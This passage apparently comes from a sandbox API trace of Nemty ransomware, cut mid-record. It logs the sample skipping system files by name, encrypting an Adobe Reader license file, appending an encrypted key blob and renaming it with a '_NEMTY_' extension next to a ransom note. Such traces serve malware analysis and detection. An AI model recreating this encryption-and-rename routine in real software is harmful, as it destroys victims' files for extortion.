lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.644] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.645] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.645] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.646] Sleep (dwMilliseconds=0x5) [0172.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a8f3730, dwHighDateTime=0x1d561e8)) [0172.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a8f3730, dwHighDateTime=0x1d561e8)) [0172.659] GetLastError () returned 0xb7 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.659] GetLastError () returned 0xb7 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.659] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.659] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.659] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="SBhopirlXiiyC0UkxySkFl1QDFJITaFO4QKG46T23Le5lrxShWF56HBGmM6O7K40\r\nQAKwpGNY+Xm64xk9evAV68MA1ivTiYGqi4jk4IaOIx4K7jzAaE56JT2T3p42YPIN\r\npd9sNBt3TunKVa6crN5DHRgbfmhUAPzmAVVAlrBBZdMn67hhzNFlMafBZPGYRkrZ\r\niU+zMZkph92PacLDq6kxiElVn5qV3vecp68Vjiy/huiyPgAd+cPi+7/3qcJPJy4I\r\nsZTQG3tlQGFwaQn+2WTxQ0zKk9gaDGFi1W2xBrHTPIfH0et7tHNAn168j3XiXDfN\r\nyVBkSt1xuuDuy1BJUSjQkw==\r\n", pcchString=0x653e5dc) returned 1 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.660] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=48505) returned 1 [0172.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbd70) returned 0x6352c48 [0172.660] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.660] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xbd70, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xbd70, lpOverlapped=0x0) returned 1 [0172.665] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.665] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xbd70, lpOverlapped=0x0) returned 1 [0172.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.665] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=48505, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd79 [0172.665] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.665] CloseHandle (hObject=0x3b0) returned 1 [0172.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.666] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html._nemty_kgobjgd_")) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.666] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8a7470, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a8a7470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8cd5d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.666] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.666] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.666] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.666] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.666] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.667] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.668] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8a7470, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a8a7470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a8cd5d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.668] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.668] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 